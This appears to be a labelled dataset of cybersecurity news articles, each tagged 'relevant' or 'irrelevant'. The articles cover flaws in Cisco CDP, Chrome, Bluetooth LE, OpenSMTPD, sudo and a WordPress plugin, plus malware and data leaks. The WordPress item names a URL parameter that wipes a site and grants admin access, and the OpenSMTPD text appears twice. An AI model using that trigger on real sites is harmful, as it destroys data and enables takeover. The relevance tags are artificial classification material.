"5 High Impact Flaws Affect Cisco Routers, Switches, IP Phones and Cameras Several Cisco-manufactured network equipments have been found vulnerable to five new security vulnerabilities that could allow hackers to take complete control over them, and subsequently, over the enterprise networks they power. Four of the five high-severity bugs are remote code execution issues affecting Cisco routers, switches, and IP cameras, whereas the fifth vulnerability is a denial-of-service issue affecting Cisco IP phones. Collectively dubbed 'CDPwn,' the reported vulnerabilities reside in the various implementations of the Cisco Discovery Protocol (CDP) that comes enabled by default on virtually all Cisco devices and can not be turned OFF. Cisco Discovery Protocol (CDP) is an administrative protocol that works at Layer 2 of the Internet Protocol (IP) stack. The protocol has been designed to let devices discover information about other locally attached Cisco equipment in the same network. According to a report Armis research team shared with The Hacker News, the underlying CDP implementations contain buffer overflow and format string vulnerabilities that could let remote attackers on the same network execute arbitrary code on the vulnerable devices by sending malicious unauthenticated CDP packets. The list of CDPwn Cisco vulnerabilities affecting tens of millions of devices widely deployed in enterprise networks is as follow: Cisco NX-OS Stack Overflow in the Power Request TLV (CVE-2020-3119) Cisco IOS XR Format String vulnerability in multiple TLVs (CVE-2020-3118) Cisco IP Phones Stack Overflow in PortID TLV (CVE-2020-3111) Cisco IP Cameras Heap Overflow in DeviceID TLV (CVE-2020-3110) Cisco FXOS, IOS XR, and NX-OS Resource Exhaustion in the Addresses TLV (CVE-2020-3120) To be noted, since CDP is a Data Link layer 2 protocol that can't cross the boundaries of a local area network, an attacker first needs to be on the same network to leverage CDPwn vulnerabilities. However, after gaining an initial foothold in a targeted network using separate vulnerabilities, attackers can exploit CDPwn against network switches to break network segmentation and move laterally across the corporate networks to other sensitive systems and data. ""Gaining control over the switch is useful in other ways. For example, the switch is in a prime position to eavesdrop on network traffic that traverses through the switch, and it can even be used to launch man-in-the-middle attacks on the traffic of devices that traverses through the switch,"" the researchers said. ""An attacker can look to move laterally across segments and gain access to valuable devices like IP phones or cameras. Unlike switches, these devices hold sensitive data directly, and the reason to take them over can be a goal of an attacker, and not merely a way to break out of segmentation."" Additionally, CDPwn flaws also allow attackers to: Eavesdrop on voice and video data/calls and video feed from IP phones and cameras, capture sensitive conversations or images. Exfiltrate sensitive corporate data flowing through the corporate network's switches and routers. Compromise additional devices by leveraging man-in-the-middle attacks to intercept and alter traffic on the corporate switch. Besides releasing a detailed technical report on the issues, the Armis research team has also shared videos of explanation and demonstration of the flaws, as embedded above. Cisco Routers, Switches, IP Phones and Cameras After closely working with Armis researchers over the last few months to develop security patches, Cisco today released software updates for all of its affected products. Though Cisco has also provided some mitigation information, affected administrators are still highly recommended to install the latest software updates to completely protect their valuable networks against malware and emerging online threats.",relevant
"US Govt Warns Critical Industries After Ransomware Hits Gas Pipeline Facility The U.S. Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA) earlier today issued a warning to all industries operating critical infrastructures about a new ransomware threat that if left unaddressed could have severe consequences. The advisory comes in response to a cyberattack targeting an unnamed natural gas compression facility that employed spear-phishing to deliver ransomware to the company's internal network, encrypting critical data and knocking servers out of operation for almost two days. ""A cyber threat actor used a spear-phishing link to obtain initial access to the organization's information technology network before pivoting to its operational technology network. The threat actor then deployed commodity ransomware to encrypt data for impact on both networks,"" CISA noted in its alert. As ransomware attacks continue to escalate in frequency and scale, the new development is yet another indication that phishing attacks continue to be an effective means to bypass security barriers and that hackers don't always need to exploit security vulnerabilities to breach organizations. CISA highlighted that the attack did not impact any programmable logic controllers (PLCs) and that the victim did not lose control of its operations. But in the aftermath of the incident, the company is reported to have initiated a deliberate operational shutdown, resulting in a loss of productivity and revenue. Noting that the impact was limited to Windows-based systems and assets located in a single geographic locality, it said the company was able to recover from the attack by getting hold of replacement equipment and loading last-known-good configurations. Although the notification is lean on the specifics of the attack, this is not the first time phishing links have been employed to deliver ransomware. Lake City's I.T. network was crippled last June after an employee inadvertently opened a suspicious email that downloaded the Emotet Trojan, which in turn downloaded TrickBot Trojan and Ryuk ransomware. The evolving threat landscape means companies need to consider the full scope of threats posed to their operations, including maintaining periodic data backups and devising fail-over mechanisms in the event of a shutdown. Aside from securing the email channel and identifying and protecting the most attacked individuals, this also underscores the need for adopting appropriate anti-phishing measures to stop social engineering attempts from reaching their targets' inboxes and training people to spot mails that get through. Additionally, it's imperative that vulnerable organizations safeguard the digital supply chain by segmenting critical network infrastructure using firewalls and conducting periodic security audits to identify gaps and weaknesses. For a full list of mitigative measures that can be undertaken, head to the CISA advisory here. Update: Cybersecurity firm Dragos issued an assessment on Wednesday linking the attack on the facility to an alert put out by the US Coast Guard in December. The Ryuk ransomware infection had forced the facility to shut down for 30 hours, disrupting camera and physical access control systems, along with shutting down the entire corporate IT network at the facility. The analysis cited overlaps in the outage period between the two reports, the impact on Windows-based systems, and the primary attack vector being an email message containing a malicious link.",irrelevant
"Install Latest Chrome Update to Patch 0-Day Bug Under Active Attacks Google yesterday released a new critical software update for its Chrome web browser for desktops that will be rolled out to Windows, Mac, and Linux users over the next few days. The latest Chrome 80.0.3987.122 includes security fixes for three new vulnerabilities, all of which have been marked 'HIGH' in severity, including one that (CVE-2020-6418) has been reportedly exploited in the wild. The brief description of the Chrome bugs, which impose a significant risk to your systems if left unpatched, are as follows: Integer overflow in ICU — Reported by André Bargull on 2020-01-22 Out of bounds memory access in streams (CVE-2020-6407) — Reported by Sergei Glazunov of Google Project Zero on 2020-01-27 Type confusion in V8 (CVE-2020-6418) — Reported by Clement Lecigne of Google's Threat Analysis Group on 2020-02-18 The Integer Overflow vulnerability was disclosed by André Bargull privately to Google last month, earning him $5,000 in rewards, while the other two vulnerabilities — CVE-2020-6407 and CVE-2020-6418 — were identified by experts from the Google security team. Google has said CVE-2020-6418, which stems from a type confusion error in its V8 JavaScript rendering engine, is being actively exploited, although technical information about the vulnerability is restricted at this time. The search giant has not disclosed further details of the vulnerabilities so that it gives affected users enough time to install the Chrome update and prevent hackers from exploiting them. A successful exploitation of the integer overflow or out-of-bounds write flaws could allow a remote attacker to compromise a vulnerable system by tricking the user into visiting a specially crafted web page that takes advantage of the exploit to execute arbitrary code on the target system. It's recommended that Windows, Linux, and macOS users download and install the latest version of Chrome by heading to Help > ""About Chrome"" from the settings menu.",relevant
"Exfiltrating Data from Air-Gapped Computers Using Screen Brightness It may sound creepy and unreal, but hackers can also exfiltrate sensitive data from your computer by simply changing the brightness of the screen, new cybersecurity research shared with The Hacker News revealed. In recent years, several cybersecurity researchers demonstrated innovative ways to covertly exfiltrate data from a physically isolated air-gapped computer that can't connect wirelessly or physically with other computers or network devices. These clever ideas rely on exploiting little-noticed emissions of a computer's components, such as light, sound, heat, radio frequencies, or ultrasonic waves, and even using the current fluctuations in the power lines. For instance, potential attackers could sabotage supply chains to infect an air-gapped computer, but they can't always count on an insider to unknowingly carry a USB with the data back out of a targeted facility. When it comes to high-value targets, these unusual techniques, which may sound theoretical and useless to many, could play an important role in exfiltrating sensitive data from an infected but air-gapped computer. How Does the Brightness Air-Gapped Attack Work? In his latest research with fellow academics, Mordechai Guri, the head of the cybersecurity research center at Israel's Ben Gurion University, devised a new covert optical channel using which attackers can steal data from air-gapped computers without requiring network connectivity or physically contacting the devices. ""This covert channel is invisible, and it works even while the user is working on the computer. Malware on a compromised computer can obtain sensitive data (e.g., files, images, encryption keys, and passwords), and modulate it within the screen brightness, invisible to users,"" the researchers said. The fundamental idea behind encoding and decoding of data is similar to the previous cases, i.e., malware encodes the collected information as a stream of bytes and then modulate it as '1' and '0' signal. In this case, the attacker uses small changes in the LCD screen brightness, which remains invisible to the naked eye, to covertly modulate binary information in morse-code like patterns ""In LCD screens each pixel presents a combination of RGB colors which produce the required compound color. In the proposed modulation, the RGB color component of each pixel is slightly changed."" ""These changes are invisible, since they are relatively small and occur fast, up to the screen refresh rate. Moreover, the overall color change of the image on the screen is invisible to the user."" The attacker, on the other hand, can collect this data stream using video recording of the compromised computer's display, taken by a local surveillance camera, smartphone camera, or a webcam and can then reconstruct exfiltrated information using image processing techniques. As shown in the video demonstration shared with The Hacker News, researchers infected an air-gapped computer with specialized malware that intercepts the screen buffer to modulate the data in ASK by modifying the brightness of the bitmap according to the current bit ('1' or '0'). hacking air gapped computers You can find detailed technical information on this research in the paper [PDF] titled, 'BRIGHTNESS: Leaking Sensitive Data from Air-Gapped Workstations via Screen Brightness,' published yesterday by Mordechai Guri, Dima Bykhovsky and Yuval Elovici. Air-Gapped Popular Data Exfiltration Techniques It's not the first time Ben-Gurion researchers came up with a covert technique to target air-gapped computers. Their previous research of hacking air-gap machines include: PowerHammer attack to exfiltrate data from air-gapped computers through power lines. MOSQUITO technique using which two (or more) air-gapped PCs placed in the same room can covertly exchange data via ultrasonic waves. BeatCoin technique that could let attackers steal private encryption keys from air-gapped cryptocurrency wallets. aIR-Jumper attack that takes sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision. MAGNETO and ODINI techniques use CPU-generated magnetic fields as a covert channel between air-gapped systems and nearby smartphones. USBee attack that can be used to steal data from air-gapped computers using radio frequency transmissions from USB connectors. DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer; BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys; AirHopper that turns a computer's video card into an FM transmitter to capture keystrokes; Fansmitter technique that uses noise emitted by a computer fan to transmit data; and GSMem attack that relies on cellular frequencies.",irrelevant
"A Dozen Vulnerabilities Affect Millions of Bluetooth LE Powered Devices A team of cybersecurity researchers late last week disclosed the existence of 12 potentially severe security vulnerabilities, collectively named 'SweynTooth,' affecting millions of Bluetooth-enabled wireless smart devices worldwide—and worryingly, a few of which haven't yet been patched. All SweynTooth flaws basically reside in the way software development kits (SDKs) used by multiple system-on-a-chip (SoC) have implemented Bluetooth Low Energy (BLE) wireless communication technology—powering at least 480 distinct products from several vendors including Samsung, FitBit and Xiaomi. According to the researchers, hackers in close physical proximity to vulnerable devices can abuse this vulnerability to remotely trigger deadlocks, crashes, and even bypass security in BLE products, allowing them to arbitrary read or write access to device's functions that are otherwise only allowed to be accessed by an authorized user. ""As of today, SweynTooth vulnerabilities are found in the BLE SDKs sold by major SoC vendors, such as Texas Instruments, NXP, Cypress, Dialog Semiconductors, Microchip, STMicroelectronics and Telink Semiconductor,"" the researchers from the Singapore University of Technology and Design said. bluetooth hacking Here is a list and brief information on all 12 SweynTooth vulnerabilities: Link Layer Length Overflow (CVE-2019-16336, CVE-2019-17519) — These allow attackers in radio range to trigger a buffer overflow by manipulating the LL Length Field, primarily leading to a denial of service attacks. Link Layer LLID deadlock (CVE-2019-17061, CVE-2019-17060) — These trigger deadlock state when a device receives a packet with the LLID field cleared. Truncated L2CAP (CVE-2019-17517) — This flaw results due to a lack of checks while processing an L2CAP packet, causing a denial of service and crash of the device. Silent Length Overflow (CVE-2019-17518) — A buffer overflow occurs when a certain packet payload with higher than expected LL Length is sent, the peripheral crashes. Invalid Connection Request (CVE-2019-19195) — When devices do not properly handle some connection parameters while the central attempts a connection to the peripheral, they could lead to Deadlock state. Unexpected Public Key Crash (CVE-2019-17520) — This bug is present in the implementation of the legacy pairing procedure, which is handled by the Secure Manager Protocol (SMP) implementation, and can be used to perform DoS and possibly restart products. Sequential ATT Deadlock (CVE-2019-19192) — This flaw lets attackers deadlock the peripheral by sending just two consecutive ATT request packets in each connection event. Invalid L2CAP fragment (CVE-2019-19195) — improper handling of the PDU size of the packets can lead to deadlock behavior. Key Size Overflow (CVE-2019-19196) — This overflow in the device memory issue is a combination of multiple bugs found during the pairing procedure of devices, resulting in a crash. Zero LTK Installation (CVE-2019-19194) — This critical vulnerability is a variation of one of the Key Size Overflow. It affects all products using Telink SMP implementation with support for secure connection enabled. The detailed report says affected products include consumer electronics, smart home devices, wearables, and are also being used in the logistics and healthcare industry, malfunctioning of which can lead to hazardous situations. bluetooth vulnerabilities ""The most critical devices that could be severely impacted by SweynTooth are the medical products. VivaCheck Laboratories, which manufacture Blood Glucose Meters, has many products listed to use DA14580,"" the researchers said. ""Hence all these products are potentially vulnerable to the Truncated L2CAP attack. Even worse, Syqe Medical Ltd. and their programmable drug delivery inhalation platform (Syqe Inhaler v01) is affected alongside the latest pacemaker related products from Medtronic Inc."" According to the report, researchers disclosed these flaws last year to all affect vendors, many of which have now released patches for their respective SoCs. Wheres, products developed by some SoC vendors, including Dialog, Microchip, and STMicroelectronics, are unpatched at the time of the disclosure.",relevant
"App Used by Israel's Ruling Party Leaked Personal Data of All 6.5 Million Voters An election campaigning website operated by Likud―the ruling political party of Israeli Prime Minister Benjamin Netanyahu―inadvertently exposed personal information of all 6.5 million eligible Israeli voters on the Internet, just three weeks before the country is going to have a legislative election. In Israel, all political parties receive personal details of voters before the election, which they can't share with any third party and are responsible for protecting the privacy of their citizens and erasing it after the elections are over. Reportedly, Likud shared the entire voter registry with Feed-b, a software development company, who then uploaded it a website (elector.co.il) designed to promote the voting management app called 'Elector.' According to Ran Bar-Zik, a web security researcher who disclosed the issue, the voters' data was not leaked using any security vulnerability in the Elector app; instead, the incident occurred due to negligence by the software company who leaked the username and password for the administrative panel through an unprotected API endpoint that was listed in the public source code of its homepage, as shown. Israeli voters data leaked voter database leak ""Someone visiting the Elector website on a standard browser like Google's Chrome could right-click their mouse on the page and select 'View page source.' The revealed source code for the website contained a link to the 'get-admins-users' page, which the prospective hacker simply had to visit in order to find, out in the open, the passwords of ""admin"" users — those with authorization to manage the database."" Israeli media explained. The exposed database includes the full names, identity card numbers, addresses, and gender of 6,453,254 voters in Israel, as well as the phone numbers, father's name, mother's name, and other personal details of some of them. Through the affected Elector website is down for many users at the time of writing, some media reports confirm the software company has now patched the issue but can't ensure how many people have since then been able to download the voters' database. The Israeli Justice Ministry's Privacy Protection Authority (PPA) said it was investigating the incident.",irrelevant
"The Rise of the Open Bug Bounty Project Can you imagine launching a global bug bounty platform with almost 500,000 submissions and 13,000 researchers without consuming a cent from venture capitalists? If not, this success story is for you. The once skyrocketing bug bounty industry seems to be not in the best shape today. While prominent security researchers are talking about a growing multitude of hurdles they experience with the leading commercial bug bounty platforms, the latter are trying to reinvent themselves as ""next-generation penetration testing"" or similar services. You be the judge of how successful they will be. Generous venture funds have poured many millions into rapidly spending bug bounty startups that have not replaced Managed Penetration Testing (MPT) services (as some declared). However, these startups have positively improved the price/quality ratio of pen testing services on the global market. Amid the uncertainty for the future of commercial bug bounty platforms, the not-for-profit Open Bug Bounty project has demonstrated quite impressive growth and traction in its annual report from 2019: open bug bounty Just in 2019 the non-commercial, ISO 29147 based, bug bounty platform reported the following: 203,449 security vulnerabilities were reported in total (500 per day), which is a 32% year-to-year growth 101,931 vulnerabilities were fixed by website owners, showing a 30% growth compared to the previous year 5,832 new security researchers joined the community, taking the total number of researchers and security experts to 13,532 383 new bug bounty programs were created by website owners, now offering 657 programs in total with over 1,342 websites to test Today, Open Bug Bounty already hosts 680 bug bounties, offering monetary or non-monetary remuneration for security researchers from over 50 countries. Global companies such as Telekom Austria, Acronis, or United Domains run their bug bounties at Open Bug Bounty. Among happy website owners, who thanked the researchers for coordinated and responsible disclosure via the platform, one can find Dell, IKEA, Twitter, Verizon, Philips, several governmental institutions and international organizations, some law schools and law firms, and even the American Bar Association (ABA) – not to be confused with beer-drinking though. Initially, Open Bug Bounty accepted submissions of XSS, CSRF, Improper Access Control, and other security issues on any website condition to strictly non-intrusive testing, coordinated disclosure and respect of their code of conduct: bug bounty program In 2019, the situation evolved by enabling anyone to launch a bug bounty for his or her website without any fees or commissions, accessible to all 13,000 researchers: hacking computers Open Bug Bounty later announced the enhancement of the existing DevSecOps integrations with new tools and instruments, supplementing the already available SDLC integrations with Jira and Splunk. Interestingly, the 2019 report also mentions growing interest from cybersecurity companies in partnering with or even acquiring the project, however, it clearly states that the platform will always maintain its openness and integrity. We managed to get an exclusive interview with the Open Bug Bounty team about the future of the project: How do you see 2020 for the Open Bug Bounty? We will pursue our relentless expansion by adding new features, options, and integrations. We carefully listen to our community and try to implement all improvements beneficial for website owners and security researchers. Agility, simplicity, and reliability are all key priorities for us when building new features. Do you plan to partner with a commercial bug bounty projects or a cybersecurity company? We are open to proposals that will help us improve the project, maintaining an open and cozy place for website owners, and security researchers, that is governed by respect and fairness. Are you looking for venture funding or donations? We are a small group of cybersecurity enthusiasts, spending our spare time on the project between family life and work. For the moment, we feel pretty comfortable with the workload and even managed to refresh the design making it brighter and cheerful. We purposely don't accept donations and do not display commercial ads, given that our community is foremost driven by a dream to secure the Web. How visible is your impact on the cybersecurity industry? Our researchers and website owners are probably the best people to answer this question. From our side, we see an increasing number of cybersecurity students who start their practice with Open Bug Bounty, software developers helping their peers to maintain better security and professional bug hunters seeking a more transparent alternative to commercial bug bounty platforms. We drive attention to application security, promote the OWASP project, and try to raise global web security awareness amid website owners and software developers. Do you perceive commercial bug bounty platforms as your competitors? No, we rather complement each other in one way or another. It's like open source software and commercial software. Their philosophy is fairly different, but they coexist in harmony and add value to each other. The more offerings that exist on the market, the better off consumers and other actors will be. How can one get in touch with you? There is a secure web form on our website. Drop us your contact details there, and we will get back to you. On behalf of The Hacker News, we sincerely wish the Open Bug Bounty team a well-deserved success in what they do to improve global web security. Next Steps: Read Open Bug Bounty 2019 Annual Report Start your bug bounty program at no cost Join the community of security researchers",irrelevant
"New OpenSMTPD RCE Flaw Affects Linux and OpenBSD Email Servers OpenSMTPD has been found vulnerable to yet another critical vulnerability that could allow remote attackers to take complete control over email servers running BSD or Linux operating systems. OpenSMTPD, also known as OpenBSD SMTP Server, is an open-source implementation of the Simple Mail Transfer Protocol (SMTP) to deliver messages on a local machine or to relay them to other SMTP servers. It was initially developed as part of the OpenBSD project but now comes pre-installed on many UNIX-based systems. Discovered by experts at Qualys Research Labs, who also reported a similar RCE flaw in the email server application last month, the latest out-of-bounds read issue, tracked as CVE-2020-8794, resides in a component of the OpenSMTPD's client-side code that was introduced nearly 5 years ago. Just like the previous issue, which attackers started exploiting in the wild just a day after its public disclosure, the new OpenSMTPD flaw could also let remote hackers execute arbitrary commands on the vulnerable servers with privileges of either root or any non-root user. opensmtpd vulnerability As described in the screenshot of the advisory, the flaw can be exploited by a local or remote attacker in two ways by sending specially crafted SMTP messages, one works in the default configuration, and the second leverages email bounce mechanism. ""We developed a simple exploit for this vulnerability and successfully tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the first vulnerable release), Debian 10 (stable), Debian 11 (testing), and Fedora 31,"" the advisory says. ""We tested our exploit against the recent changes in OpenSMTPD 6.6.3p1, and our results are: if the ""mbox"" method is used for local delivery (the default in OpenBSD -current), then arbitrary command execution as root is still possible; otherwise (if the ""maildir"" method is used, for example), arbitrary command execution as any non-root user is possible."" However, the Qualys team has decided to withhold the exploitation details and exploit code until 26th February, giving vulnerable OpenSMTPD's users a two-day window to patch their systems. If you're also running BSD or Linux servers with a vulnerable version of the OpenSMTPD, you're advised to download OpenSMTPD 6.6.4p1 and apply the patch as soon as possible.OpenSMTPD has been found vulnerable to yet another critical vulnerability that could allow remote attackers to take complete control over email servers running BSD or Linux operating systems. OpenSMTPD, also known as OpenBSD SMTP Server, is an open-source implementation of the Simple Mail Transfer Protocol (SMTP) to deliver messages on a local machine or to relay them to other SMTP servers. It was initially developed as part of the OpenBSD project but now comes pre-installed on many UNIX-based systems. Discovered by experts at Qualys Research Labs, who also reported a similar RCE flaw in the email server application last month, the latest out-of-bounds read issue, tracked as CVE-2020-8794, resides in a component of the OpenSMTPD's client-side code that was introduced nearly 5 years ago. Just like the previous issue, which attackers started exploiting in the wild just a day after its public disclosure, the new OpenSMTPD flaw could also let remote hackers execute arbitrary commands on the vulnerable servers with privileges of either root or any non-root user. opensmtpd vulnerability As described in the screenshot of the advisory, the flaw can be exploited by a local or remote attacker in two ways by sending specially crafted SMTP messages, one works in the default configuration, and the second leverages email bounce mechanism. ""We developed a simple exploit for this vulnerability and successfully tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the first vulnerable release), Debian 10 (stable), Debian 11 (testing), and Fedora 31,"" the advisory says. ""We tested our exploit against the recent changes in OpenSMTPD 6.6.3p1, and our results are: if the ""mbox"" method is used for local delivery (the default in OpenBSD -current), then arbitrary command execution as root is still possible; otherwise (if the ""maildir"" method is used, for example), arbitrary command execution as any non-root user is possible."" However, the Qualys team has decided to withhold the exploitation details and exploit code until 26th February, giving vulnerable OpenSMTPD's users a two-day window to patch their systems. If you're also running BSD or Linux servers with a vulnerable version of the OpenSMTPD, you're advised to download OpenSMTPD 6.6.4p1 and apply the patch as soon as possible.",relevant
"Sudo Bug Lets Non-Privileged Linux and macOS Users Run Commands as Root Joe Vennix of Apple security has found another significant vulnerability in sudo utility that under a specific configuration could allow low privileged users or malicious programs to execute arbitrary commands with administrative ('root') privileges on Linux or macOS systems. Sudo is one of the most important, powerful, and commonly used utilities that comes as a core command pre-installed on macOS and almost every UNIX or Linux-based operating system. Sudo has been designed to let users run apps or commands with the privileges of a different user without switching environments. Sudo Vulnerability (CVE-2019-18634) The newly discovered privilege escalation vulnerability, tracked as CVE-2019-18634, in question stems from a stack-based buffer overflow issue that resides in Sudo versions before 1.8.26. According to Vennix, the flaw can only be exploited when the ""pwfeedback"" option is enabled in the sudoers configuration file, a feature that provides visual feedback, an asterisk (*), when a user inputs password in the terminal. To be noted, the pwfeedback feature is not enabled by default in the upstream version of sudo or many other packages. However, some Linux distributions, such as Linux Mint and Elementary OS, do enable it in their default sudoers files. sudo linux vulnerability Besides this, when pwfeedback is enabled, the vulnerability can be exploited by any user, even without sudo permissions. ""The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password,"" Sudo developer Todd C. Miller explained. ""Because the attacker has complete control of the data used to overflow the buffer, there is a high likelihood of exploitability."" Check If You're Affected and Apply Patches To determine if your sudoers configuration is affected, you can run ""sudo -l"" command on your Linux or macOS terminal to find whether the ""pwfeedback"" option is enabled and listed in the ""Matching Defaults entries"" output. If enabled, you can disable the vulnerable component by changing ""Defaults pwfeedback"" to ""Defaults !pwfeedback"" in the sudoers configuration file to prevent the exploitation of the privilege escalation vulnerability. Vennix responsibly reported the vulnerability to the maintainers of Sudo, who late last week released sudo version 1.8.31 with a patch. ""While the logic bug is also present in sudo versions 1.8.26 through 1.8.30 it is not exploitable due to a change in EOF handling introduced in sudo 1.8.26,"" Miller said. Apple has also released a patch update for macOS High Sierra 10.13.6, macOS Mojave 10.14.6, macOS Catalina 10.15.2 last week. Joe Vennix last year reported a similar impact vulnerability in Sudo that could have been exploited by an attacker to run commands as root just by specifying the user ID ""-1"" or ""4294967295.""",relevant
"Critical Bug in WordPress Theme Plugin Opens 200,000 Sites to Hackers A popular WordPress theme plugin with over 200,000 active installations contains a severe but easy-to-exploit software vulnerability that, if left unpatched, could let unauthenticated remote attackers compromise a wide range of websites and blogs. The vulnerable plugin in question is 'ThemeGrill Demo Importer' that comes with free as well as premium themes sold by the software development company ThemeGrill. ThemeGrill Demo Importer plugin has been designed to allow WordPress site admins to import demo content, widgets, and settings from ThemeGrill, making it easier for them to quickly customize the theme. According to a report WebARX security company shared with The Hacker News, when a ThemeGrill theme is installed and activated, the affected plugin executes some functions with administrative privileges without checking whether the user running the code is authenticated and is an admin. The flaw could eventually allow unauthenticated remote attackers to wipe the entire database of targeted websites to its default state, after which they will also be automatically logged in as an administrator, allowing them to take complete control over the sites. themegrill wordpress plugin ""Here we see (in the screenshot) that there is no authentication check, and only the do_reset_wordpress parameter needs to be present in the URL on any 'admin' based page of WordPress, including /wp-admin/admin-ajax.php."" According to the WebARX researchers, the vulnerability affects ThemeGrill Demo Importer plugin version 1.3.4 up to 1.6.1, all released in the last 3 years. ""This is a serious vulnerability and can cause a significant amount of damage. Since it requires no suspicious-looking payload, it is not expected for any firewall to block this by default, and a special rule needs to be created to block this vulnerability,"" the WebARX researchers said. WebARX, which provides vulnerability detection and virtual patching software to protect websites from the third-party component vulnerabilities. responsibly reported this vulnerability to ThemeGrill developers two weeks ago, who then released a patched version 1.6.2 on February 16. WordPress Dashboard automatically notifies admins when a plugin needs to be updated, but you can also choose to have plugin updates automatically installed instead of waiting for manual action.",relevant
"Android Cookie-Stealing Malware Found Hijacking Facebook Accounts A new simple but dangerous strain of Android malware has been found in the wild that steals users' authentication cookies from the web browsing and other apps, including Chrome and Facebook, installed on the compromised devices. Dubbed ""Cookiethief"" by Kaspersky researchers, the Trojan works by acquiring superuser root rights on the target device, and subsequently, transfer stolen cookies to a remote command-and-control (C2) server operated by attackers. ""This abuse technique is possible not because of a vulnerability in the Facebook app or browser itself,"" Kaspersky researchers said. ""Malware could steal cookie files of any website from other apps in the same way and achieve similar results."" Cookiethief: Hijacking Accounts Without Requiring Passwords Cookies are small pieces of information that's often used by websites to differentiate one user from another, offer continuity around the web, track browsing sessions across different websites, serve personalized content, and strings related to targeted advertisements. Given how cookies on a device allow users to stay logged in to a service without having to repeatedly sign in, Cookiethief aims to exploit this very behavior to let attackers gain unauthorized access to the victim accounts without knowing their actual online accounts passwords. ""This way, a cybercriminal armed with a cookie can pass himself off as the unsuspecting victim and use the latter's account for personal gain,"" the researchers said. Kaspersky theorizes that there could be a number of ways the Trojan could land up on the device — including planting such malware in the device firmware before purchase, or by exploiting vulnerabilities in the operating system to download malicious applications. android malware hacks chrome and facebook passwords Once the device is infected, the malware connects to a backdoor, dubbed 'Bood,' installed on the same smartphone to execute ""superuser"" commands that facilitate cookie theft. How Do Attackers Bypass Multi-Level Protection Offered by Facebook? Cookiethief malware doesn't have it all easy, though. Facebook has security measures in place to block any suspicious login attempts, such as from IP addresses, devices, and browsers that had never been used for logging into the platform before. But the bad actors have worked around the problem by leveraging the second piece of malware app, named 'Youzicheng,' that creates a proxy server on the infected device to impersonate the account owner's geographic location to make the access requests legitimate. ""By combining these two attacks, cybercriminals can gain complete control over the victim's account and not raise suspicion from Facebook,"" the researchers noted. android proxy malware It's not yet clear what the attackers are really after, but the researchers found a page found on the C2 server advertising services for distributing spam on social networks and messengers — leading them to the conclusion that the criminals could leverage Cookiethief to hijack users' social media accounts to spread malicious links or perpetuate phishing attacks. While Kaspersky classified the attack as a new threat — with only about 1,000 individuals targeted in this manner — it warned that this number is ""growing"" considering the difficulty in detecting such intrusions. To be safe from such attacks, it's recommended that users block third-party cookies on the phone's browser, clear the cookies on a regular basis, and visit websites using private browsing mode.",relevant
"How CISOs Should Prepare for Coronavirus Related Cybersecurity Threats The Coronavirus is hitting hard on the world's economy, creating a high volume of uncertainty within organizations. Cybersecurity firm Cynet today revealed new data, showing that the Coronavirus now has a significant impact on information security and that the crisis is actively exploited by threat actors. In light of these insights, Cynet has also shared a few ways to best prepare for the Coronavirus derived threat landscape and provides a solution (learn more here) to protect employees that are working from home with their personal computers because of the Coronavirus. The researchers identify two main trends – attacks that aim to steal remote user credentials and weaponized email attacks: Remote User Credential Theft The direct impact of the Coronavirus is a comprehensive quarantine policy that compels multiple organizations to allow their workforce to work from home to maintain business continuity. This inevitably entails shifting a significant portion of the workload to be carried out remotely, introducing an exploitable opportunity for attackers. The opportunity attackers see the mass use of remote login credentials to organizational resources that far exceed the norm. As a result, remote connections are established by employees and devices that have never done so before, meaning that an attacker could easily conceal a malicious login without being detected by the target organization's security team. Cynet's global threat telemetry from the recent three weeks reveals that Italy features a sharp spike in phishing attacks in comparison to other territories, indicating that attackers are hunting in full force for user credentials. coronavirus in Italy In addition, the researchers also detect a respective spike both in detected anomalous logins to its customers' environments, as well as in customers actively reaching out to CyOps (Cynet MDR) to investigate suspicious logins to critical resources. coronavirus in Italy Correlating the two spikes validates that attackers are actively exploiting the Coronavirus derived havoc. Weaponized Email Attacks Employees that work from home often would do so from their personal computers, which are significantly less secure than the organizational ones, making them more vulnerable to malware attacks. Besides, Cynet released today's figures that support the above claim. Here is the double spike Cynet sees within its customers from Italy of email-based attacks: email cyberattack A closer look at the attacks reveals that they possess a considerable threat to organizations that do not have advanced protection in place: email malware attack While 21% of these emails featured simplistic attacks with a link to download a malicious executable embedded in the email body, the vast majority included more advanced capabilities such as malicious Macros and exploits or redirection to malicious websites – a challenge that surpasses the capabilities of most AV and email protection solutions. Taking a closer look at how these attacks were blocked verifies that they should be regarded as a severe risk potential: cyber attack protection 'The fact that only about 10% of the malware in these attacks was identified by its signature, indicates that the attackers behind these campaigns are using advanced attacking tools to take advantage of the situation', says Eyal Gruner, CEO, and Co-Founder of Cynet. Moreover, there is another aspect to the Coronavirus impact. In many cases, the functioning of the security team itself is impaired due to missing team members in quarantine, making the detection of malicious activity even harder. From conversations with these companies, it turns out that the operations of many security teams are significantly disturbed due to quarantined team members, causing them to use Cynet's MDR service more often to compensate for the lack of staff. cyberattacks 'We have reached out to our customers in Italy ', says Gruner, 'and they have confirmed that a significant part of their workforce works from home these days.' To sum up the situation in Italy, employees working from home, security teams that are not fully operational and general atmosphere of uncertainty, create ideal conditions for attackers that seek to monetize the new situation through phishing, social engineering, and weaponized emails. The data from Cynet's Italian install base should serve as an illustrative example of the cyber effect in a territory where Coronavirus has a high prevalence. While this is not yet the case for other countries, the rapid Coronavirus spread implies that the cyber threat landscape in Italy would soon be duplicated in other geolocations as well. In order to efficiently confront these threats, CISOs should evaluate the defenses they have in place and see whether they provide protection against phishing and malicious logins. As a breach protection platform, Cynet introduces a dedicated offering tailored to the new Coronavirus related cyber risks. For both existing and new customers, Cynet will allow, free of charge (for 6 months), the deployment of its product, Cynet 360, on personal computers used by employees working from home. Cynet massively adds staff to CyOps, its MDR services team, to be able to cover for companies with reduced security staff because of the Coronavirus. Learn more about Cynet's offering here.",irrelevant
